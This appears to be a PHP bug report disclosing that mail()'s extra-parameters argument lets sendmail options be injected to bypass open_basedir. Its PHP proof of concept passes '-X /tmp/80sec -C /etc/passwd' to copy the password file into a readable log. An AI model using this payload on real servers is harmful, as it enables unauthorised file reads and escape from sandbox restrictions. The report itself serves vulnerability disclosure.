Description:
------------
The mail function may bypass open_basedir or read/write arbitrary
 file.

Reproduce code:
---------------
<?php
$to = 'jianxin@80sec.com'.str_repeat("x",10000);
$subject = 'the subject'.str_repeat("x",10);
$message = 'hello'.str_repeat("x",10);
mail($to, $subject, $message, $headers,"-v -bt -X /tmp/80sec -d13 -C /etc/passwd");
?>

Expected result:
----------------
we can get the contents of /etc/passwd in /tmp/80sec.

Actual result:
--------------
we can get the contents of /etc/passwd in /tmp/80sec.